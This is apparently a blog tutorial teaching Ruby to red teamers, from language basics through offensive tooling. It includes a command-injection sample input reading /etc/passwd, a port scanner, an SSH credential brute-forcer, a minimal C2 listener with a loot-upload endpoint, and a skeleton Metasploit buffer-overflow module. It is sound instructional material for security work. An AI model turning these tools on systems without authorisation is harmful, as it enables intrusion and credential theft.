Welcome to another exciting edition of Programming Thursdays!
Today, we delve deep into the world of the Ruby programming language. As professional hackers, red teamers, and security researchers, we know the importance of a diverse toolkit. While Python often steals the spotlight in the information security community (and for good reason), Ruby holds a special, almost sacred place in the history and tooling of our trade.
I’m excited to share my passion for Ruby with you. It is more than just the language that powers the Metasploit Framework; it is a language designed for happiness, expressiveness, and rapid development. For a red teamer, “happiness” translates to “writing a working exploit in 15 minutes instead of two hours.”
In this massive guide, we are going to break down everything from the core syntax to advanced metaprogramming, exploring how to build your own offensive security tools, interact with C APIs, and automate your infrastructure.
[!NOTE] This guide assumes you have some basic programming knowledge but starts from the ground up with Ruby specifics.
The Ruby Philosophy: Least Astonishment and Programmer Happiness
Ruby, a dynamic, reflective, object-oriented, general-purpose programming language, was created in the mid-1990s by Yukihiro “Matz” Matsumoto in Japan. It was released to the public in 1995. Matz wanted a language that was more powerful than Perl and more object-oriented than Python.
Ruby is famous for following the Principle of Least Astonishment (POLA). This design philosophy means that the language should behave in a way that minimizes confusion for experienced users. It should work exactly how you expect it to.
Why Red Teamers Should Learn Ruby
- Metasploit Framework (MSF): The elephant in the room. MSF is written in Ruby. If you want to write custom modules, port exploits, or understand why a module is failing, you need to read Ruby.
- Expressiveness: Ruby reads like English. When you are reviewing code during a live engagement or writing a quick script to parse credentials, readability reduces cognitive load.
- Metaprogramming: Ruby’s ability to modify itself at runtime is unparalleled. This is incredibly useful for writing protocol fuzzers or dynamic payload generators.
- Legacy and Ecosystem: Many classic security tools (WPScan, CeWL, Evil-WinRM, BetterCap’s original modules) are connected to the Ruby ecosystem.
Matz famously said: “I hope to see Ruby help every programmer in the world to be productive, and to enjoy programming, and to be happy. That is the primary purpose of Ruby language.”
For us, happiness is a shell that pops on the first try.
Part 1: Setting Up Your Red Team Environment
Before we write code, we need a solid environment. Do not rely on the system Ruby installed on your macOS or Linux distribution. It is often outdated and requires sudo to install gems, which is a security risk and a permission nightmare.
Version Management with rbenv
We will use rbenv to manage Ruby versions. It allows you to switch between versions per project and keeps your gems isolated.
Here is a robust setup script for a Debian-based system (like Kali Linux or Ubuntu):
#!/bin/bash
set -euo pipefail
# Update system and install dependencies
echo "[*] Installing dependencies..."
sudo apt-get update
sudo apt-get install -y git curl libssl-dev libreadline-dev zlib1g-dev \
autoconf bison build-essential libyaml-dev libreadline-dev \
libncurses5-dev libffi-dev libgdbm-dev
# Install rbenv
if [ ! -d "$HOME/.rbenv" ]; then
echo "[*] Installing rbenv..."
git clone https://github.com/rbenv/rbenv.git ~/.rbenv
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.bashrc
echo 'eval "$(rbenv init -)"' >> ~/.bashrc
else
echo "[!] rbenv already installed."
fi
# Install ruby-build plugin
if [ ! -d "$HOME/.rbenv/plugins/ruby-build" ]; then
echo "[*] Installing ruby-build plugin..."
git clone https://github.com/rbenv/ruby-build.git ~/.rbenv/plugins/ruby-build
else
echo "[!] ruby-build already installed."
fi
# Reload shell configuration (for this script's scope)
export PATH="$HOME/.rbenv/bin:$PATH"
eval "$(rbenv init -)"
# Install a modern Ruby version
RUBY_VERSION="3.2.2"
echo "[*] Installing Ruby $RUBY_VERSION..."
rbenv install -s "$RUBY_VERSION"
rbenv global "$RUBY_VERSION"
echo "[+] Ruby installation complete!"
ruby -v
The REPL: IRB vs. Pry
Ruby comes with IRB (Interactive Ruby), but for serious work, you want Pry. Pry is a powerful alternative that features syntax highlighting, tab completion, and advanced debugging capabilities. It lets you “pry” into the state of your program at runtime.
To install it:
gem install pry pry-doc
When you are debugging a script, you can insert binding.pry anywhere in your code. Execution will pause there, and you will drop into a REPL with full access to the current scope. It is like a breakpoint on steroids.
Part 2: Comprehensive Language Basics
Ruby is a “pure” object-oriented language. Everything—and I mean everything—is an object. Even a simple number like 5 is an instance of the Integer class. It has methods you can call.
5.class # => Integer
5.times { print "Hack " } # => Hack Hack Hack Hack Hack
1. Variables and Scope
Ruby uses specific prefixes (sigils) to denote variable scope. This is different from languages like Python or C++, where scope is determined by declaration location.
- Local Variables (
payload): Start with a lowercase letter or underscore. Scope: current block, method, or definition. - Instance Variables (
@target_ip): Start with@. Scope: specific object instance. Used to store state. - Class Variables (
@@count): Start with@@. Scope: shared among all instances of a class. Warning: These are not thread-safe and can cause issues in inheritance. - Global Variables (
$debug): Start with$. Scope: everywhere. Warning: Avoid these unless absolutely necessary. - Constants (
PORT): Start with an uppercase letter. Scope: defined by nesting. Ruby will warn you if you try to reassign a constant, but it won’t stop you.
2. The Object Model
In Ruby, classes are also objects. When you define a class, you are executing code.
# frozen_string_literal: true
class Exploit
# This code runs when the class is defined, not when instantiated
puts "Loading Exploit class..."
attr_accessor :target, :port
def initialize(target, port)
@target = target
@port = port
end
def to_s
"Exploit targeting #{@target}:#{@port}"
end
end
3. Symbols vs. Strings
This is a critical concept for memory management in Ruby.
- String: Mutable text. A new object is created every time you type
"string", even if the content is identical. - Symbol: Immutable identifier. Starts with a colon (
:symbol). The same symbol references the same object in memory throughout the program’s lifecycle.
puts "attack".object_id # => 60
puts "attack".object_id # => 80 (Different object)
puts :attack.object_id # => 2000
puts :attack.object_id # => 2000 (Same object)
Security Tip: Symbols are not garbage collected in older Ruby versions (pre-2.2). Creating symbols from user input (e.g., user_input.to_sym) could lead to a Denial of Service (DoS) via memory exhaustion. In modern Ruby, this is handled better, but it is still best practice to use Strings for external data and Symbols for internal keys.
4. Collections: Arrays and Hashes
Ruby’s standard library for collections is incredibly rich. You rarely need to write a for loop.
Arrays
Ordered, integer-indexed collections of any object.
ips = ["192.168.1.10", "192.168.1.11"]
ips << "192.168.1.12" # Append
ips.push("192.168.1.13")
# Set operations are native
scanned = ["192.168.1.10", "192.168.1.50"]
remaining = ips - scanned # => ["192.168.1.11", "192.168.1.12", "192.168.1.13"]
Hashes
Key-value pairs. Similar to Python dictionaries or JSON objects.
# Modern syntax (keys are symbols)
config = {
rhost: "10.10.10.5",
rport: 445,
ssl: false
}
# Accessing
puts config[:rhost]
# Merging defaults
defaults = { timeout: 10, verbose: false }
user_opts = { verbose: true }
final_opts = defaults.merge(user_opts)
# => {:timeout=>10, :verbose=>true}
5. Control Structures
Ruby offers “modifier” syntax, which allows you to write concise, English-like code.
# Standard If
if is_admin
puts "Access Granted"
end
# Modifier If
puts "Access Granted" if is_admin
# Unless (Equivalent to 'if not')
reboot_system unless server_critical?
# Case Statement (Ruby's switch on steroids)
protocol = "ssh"
case protocol
when "http", "https"
puts "Web Service"
when "ssh", "ftp", "telnet"
puts "Infrastructure Service"
when /smb/
puts "Windows File Share"
else
puts "Unknown Service"
end
The case statement uses the === operator (case equality), which allows it to match ranges, classes, and regular expressions automatically.
Part 3: Blocks, Procs, and Lambdas
This is where Ruby shines. Blocks are chunks of code that you can pass to methods. They are the foundation of Ruby’s iteration.
Blocks
A block is defined by do...end or curly braces {...}.
# Single line block
[1, 2, 3].each { |n| puts "Scanning host #{n}" }
# Multi-line block
File.open("passwords.txt", "r") do |file|
file.each_line do |line|
puts "Trying password: #{line.strip}"
end
end
# The file is automatically closed after the block ends!
Procs and Lambdas
Blocks are not objects, but Procs and Lambdas are. They allow you to save a block to a variable and pass it around.
# Lambda
logger = ->(msg) { puts "[#{Time.now}] #{msg}" }
logger.call("Starting exploit...")
logger.call("Payload sent.")
# Proc
cleanup = Proc.new { puts "Cleaning up traces..." }
cleanup.call
Key Difference: A lambda checks the number of arguments (arity) and returns control to the calling method when return is used. A Proc is looser with arguments and a return inside a Proc returns from the enclosing method.
Part 4: Input/Output and System Interaction
For red team tools, we often need to read wordlists, write logs, or execute system commands.
File I/O
# Reading a file safely
if File.exist?("wordlist.txt")
File.foreach("wordlist.txt") do |word|
# Process word
end
end
# Writing to a file (append mode)
File.open("loot.txt", "a") do |f|
f.puts "Found creds: admin:password123"
end
System Commands with Open3
Avoid using backticks (`ls`) or system() if you are handling user input, as they are prone to command injection. Use the Open3 standard library module.
require 'open3'
target_ip = "127.0.0.1; cat /etc/passwd" # Malicious input
# Safe execution - arguments are passed as array elements, avoiding shell expansion
stdout, stderr, status = Open3.capture3("ping", "-c", "1", target_ip)
if status.success?
puts stdout
else
puts "Error: #{stderr}"
end
Part 5: Networking with Ruby
Ruby’s standard library includes socket for low-level networking and net/http for web interactions.
Building a Simple Port Scanner
Let’s write a simple, non-threaded port scanner to demonstrate socket handling.
#!/usr/bin/env ruby
# frozen_string_literal: true
require 'socket'
require 'timeout'
def scan_port(ip, port)
socket = Socket.new(:INET, :STREAM)
sockaddr = Socket.sockaddr_in(port, ip)
begin
# Set a timeout for the connection
Timeout.timeout(1) do
socket.connect_nonblock(sockaddr)
rescue IO::WaitWritable
socket.wait_writable
socket.connect_nonblock(sockaddr)
end
puts "[+] Port #{port} is OPEN on #{ip}"
rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH, Timeout::Error
# Port is closed or filtered
ensure
socket.close if socket
end
end
target = "127.0.0.1"
ports = [21, 22, 80, 443, 8080]
puts "[*] Starting scan on #{target}..."
ports.each { |p| scan_port(target, p) }
Web Requests with Net::HTTP
require 'net/http'
require 'uri'
uri = URI('http://example.com/api/login')
res = Net::HTTP.post_form(uri, 'user' => 'admin', 'pass' => 'admin')
puts res.code # => '200'
puts res.message # => 'OK'
puts res.body # => Body content
For more complex HTTP interactions (cookies, sessions), I highly recommend the httparty or faraday gems.
Part 6: Creating C2 Infrastructure with Sinatra
One of my favorite uses for Ruby in Red Teaming is spinning up rapid C2 listeners (Command and Control) or situational awareness servers using Sinatra. Sinatra is a DSL for quickly creating web applications.
A Minimalist C2 Listener
# listener.rb
require 'sinatra'
require 'base64'
set :bind, '0.0.0.0'
set :port, 8080
# Logging setup
configure do
file = File.new("c2_log.txt", 'a+')
file.sync = true
use Rack::CommonLogger, file
end
# Check in endpoint - Agent sends GET /checkin
get '/checkin' do
# Return a command to the agent
"whoami"
end
# Data exfiltration endpoint - Agent POSTs data
post '/submit' do
data = request.body.read
decoded = Base64.decode64(data) rescue data
File.open("loot/#{Time.now.to_i}.txt", 'w') do |f|
f.write(decoded)
end
"OK"
end
Run it with ruby listener.rb and you have a web server ready to accept persistent connections.
Part 7: Advanced Red Teaming Applications
1. The Ronin Platform
While Metasploit is for exploitation, Ronin is for development and research. It’s a Ruby platform that provides a massive library of utility classes for security research.
require 'ronin/support'
# Ronin makes hex encoding/decoding trivial
payload = "admin".to_hex
puts payload # => "61646d696e"
# IP Address manipulation
ip = Ronin::Support::Network::IP.new('192.168.1.1')
ip.to_i # => 3232235777
# Text Analysis for wordlist generation
text = "The quick brown fox"
Ronin::Support::Text::Patterns::EMAIL_ADDR.match(text)
2. Packet Manipulation with PacketGen
PacketGen is a powerful Ruby gem for crafting, parsing, and capturing network packets. It is our equivalent to Python’s Scapy.
[!WARNING] Sending raw packets often requires root/administrator privileges. Ensure you have authorization before testing on any network.
# Gemfile: gem 'packetgen'
require 'packetgen'
# Create a TCP SYN packet
pkt = PacketGen.gen('IP', src: '10.0.0.5', dst: '10.0.0.1')
.add('TCP', dport: 80, sport: 4567, flag_syn: true)
# Recalculate checksums and length automatically
pkt.calc
# Send it out on the wire
pkt.to_w('eth0')
# Reading a PCAP file
PacketGen.read('capture.pcap').each do |packet|
if packet.ip.protocol == 6 # TCP
puts "TCP Packet from #{packet.ip.src} to #{packet.ip.dst}"
end
end
3. SSH Bruteforcing and Automation with net-ssh
The net-ssh gem is the standard for SSH interaction. It is pure Ruby and does not wrap the system ssh binary.
require 'net/ssh'
hosts = ['192.168.1.10', '192.168.1.11']
creds = { 'root' => 'toor', 'admin' => 'admin123' }
hosts.each do |host|
creds.each do |user, pass|
begin
Net::SSH.start(host, user, password: pass, timeout: 5) do |ssh|
puts "[+] SUCCESS: #{host} - #{user}:#{pass}"
output = ssh.exec!("id")
puts " #{output}"
end
rescue Net::SSH::AuthenticationFailed
# Failed auth
rescue StandardError => e
# Connection error
end
end
end
4. Windows API Interaction with FFI
Ruby’s FFI (Foreign Function Interface) allows you to call functions in dynamic libraries (DLLs on Windows, .so on Linux). This is incredibly powerful for malware development, as it lets you interact directly with the OS API without writing C.
require 'ffi'
module User32
extend FFI::Library
ffi_lib 'user32'
# Define the function signature
# int MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
attach_function :MessageBoxA, [:pointer, :string, :string, :uint], :int
end
# Call the Windows API
# 0x00000030 = MB_ICONWARNING | MB_OK
User32.MessageBoxA(nil, "You have been pwned!", "Security Alert", 0x00000030)
Part 8: Metaprogramming - The “Magic”
Metaprogramming is code that writes code. In Ruby, classes are open; you can add methods to existing classes (even core classes like String) at runtime. This is called “Monkey Patching”.
The method_missing Hook
When you call a method that doesn’t exist, Ruby invokes method_missing. You can override this to handle dynamic calls. This is how many ORMs and API wrappers work.
class ProtocolFuzzer
def initialize(target)
@target = target
end
def method_missing(method_name, *args)
# Convert method name to a payload string
payload = method_name.to_s.upcase
puts "Sending payload: #{payload} to #{@target} with args: #{args}"
# send_packet(payload, args)
end
end
fuzzer = ProtocolFuzzer.new("192.168.1.5")
fuzzer.admin_login("user", "pass")
# => Sending payload: ADMIN_LOGIN to 192.168.1.5 with args: ["user", "pass"]
This allows you to write clean DSLs (Domain Specific Languages) for your tools.
Part 9: Building a Metasploit Module
Knowing Ruby allows you to extend the Metasploit Framework. A module is simply a Ruby class that inherits from the MSF API.
Here is the skeleton of a remote exploit module:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
# Include mixins for common functionality
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Example Ruby Exploit',
'Description' => %q{
This module exploits a buffer overflow in the ACME service.
},
'Author' => [ 'UncleSp1d3r' ],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2023-XXXX' ]
],
'Payload' => {
'Space' => 1000,
'BadChars' => "\x00\x0a",
},
'Platform' => 'linux',
'Targets' => [
[ 'ACME Service v1.0', { 'Ret' => 0xdeadbeef } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 09 2023'
))
# Register options users can configure (RHOST/RPORT handled by TCP mixin)
register_options([
OptString.new('USER', [ true, 'The username to authenticate as', 'admin' ]),
])
end
def check
# Check if target is vulnerable without exploiting
connect
banner = sock.get_once
disconnect
if banner =~ /ACME v1\.0/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
connect
print_status("Generating payload...")
buf = "USER " + datastore['USER'] + "\n"
buf << "PASS " + make_nops(16) + payload.encoded + [target['Ret']].pack('V')
print_status("Sending #{buf.length} bytes...")
sock.put(buf)
handler # Transfer control to payload handler (e.g., reverse_tcp)
disconnect
end
end
Notice how the datastore hash holds user configuration, and mixins like Msf::Exploit::Remote::Tcp handle all the socket complexity for you.
Part 10: Concurrency and Performance
One of the criticisms of Ruby is the Global Interpreter Lock (GIL) (or GVL in MRI), which prevents parallel execution of Ruby code on multiple CPU cores within a single process. However, for network-bound tasks (which 90% of security tools are), Ruby threads are excellent.
Threading
When a Ruby thread waits for I/O (like a network response), it releases the GIL, allowing other threads to run.
threads = []
targets = ["10.0.0.1", "10.0.0.2", "10.0.0.3"]
targets.each do |ip|
threads << Thread.new do
# This block runs in a thread
puts "Scanning #{ip}..."
sleep(rand(1..3)) # Simulate network delay
puts "Finished #{ip}"
end
end
# Wait for all threads to complete
threads.each(&:join)
puts "All scans complete."
Ruby 3.0: Ractors
Ruby 3 introduced Ractors (Ruby Actors), which provide true parallel execution without thread-safety issues, as they do not share state by default. This is the future of high-performance Ruby tooling.
Part 11: Language Comparison
Ruby vs. Python
- Ruby Pros:
- Blocks/Procs: Superior for functional programming patterns and iteration.
- Metaprogramming: Deep reflection capabilities make building frameworks (like MSF) easier.
- Syntax: Often more concise and expressive.
- Package Management: Bundler is generally considered more robust and consistent than pip/virtualenv/poetry battles.
- Python Pros:
- Libraries: Python has a massive ecosystem for data science, ML, and generic security libraries (Impacket, Scapy).
- Adoption: It is the industry standard; you will find it everywhere.
Ruby vs. Go
- Ruby Pros: Development speed, flexibility, dynamic typing.
- Go Pros: Raw performance, static binary distribution (no dependencies on target), true concurrency.
Part 12: Best Practices for Ruby Security Tooling
- Use
frozen_string_literal: true: Put this comment at the top of your files. It prevents the creation of duplicate string objects, saving memory and improving performance. - Input Validation: Ruby is dynamic. Always validate types and content. Use
Regexpto whitelist input. - Error Handling: Use
begin...rescue...ensureblocks. Never let your tool crash with a stack trace in the middle of an operation. CatchStandardErrorat the top level. - Dependencies: Use a
Gemfileto track your dependencies. Don’t require users to manuallygem installten different things. - Linting: Use
RuboCopto enforce style and find potential bugs.
Conclusion
Ruby is an elegant, powerful language that rewards creativity. Its ability to handle complex object-oriented logic while remaining as readable as a book makes it a unique asset for any red teamer. Whether you are building a custom C2 framework, automating a complex exploit chain, or just writing a quick script to parse logs, Ruby has your back.
For those looking to master the Metasploit Framework, Ruby is not optional—it is essential. But even outside of MSF, Ruby’s philosophy of “programmer happiness” makes it a joy to use for daily scripting tasks.
Happy coding, and happy hacking!
References and Resources
Official Documentation
- Official Ruby Site
- Ruby-Doc.org
- The Ruby Toolbox - Essential for finding active gems.
Security-Focused Gems & Tools
- PacketGen - Network packet generation and parsing.
- Ronin - A Ruby platform for exploit development and security research.
- Metasploit Framework - The gold standard.
- Sinatra - Minimalist web framework.
- Pry - A runtime developer console and IRB alternative.
Educational Resources
- Metasploit Module Development Guide
- Black Hat Ruby - An excellent book on using Ruby for offensive security.
- Ruby for Pentesters - Various online courses covering Ruby scripting.